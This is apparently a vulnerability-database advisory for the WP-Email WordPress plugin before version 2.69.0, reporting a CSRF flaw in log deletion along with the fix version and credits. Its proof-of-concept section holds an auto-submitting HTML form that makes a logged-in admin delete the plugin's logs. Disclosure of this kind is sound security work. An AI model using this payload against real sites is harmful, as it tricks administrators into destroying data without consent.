WordPress Plugin Vulnerabilities

WP-Email < 2.69.0 - Log Deletion via CSRF

Description

The plugin does not protect its log deletion functionality with nonce checks, allowing attacker to make a logged in admin delete logs via a CSRF attack

Proof of Concept

<form id="test" action="https://example.com/wp-admin/admin.php?page=wp-email/email-manager.php" method="POST">
    <input type="text" name="delete_logs_yes" value="yes">
    <input type="text" name="delete_logs" value="Delete">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

Fixed in 2.69.0

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-30 (about 1 years ago)
Added
2022-05-30 (about 1 years ago)
Last Updated
2023-02-23 (about 1 years ago)

Other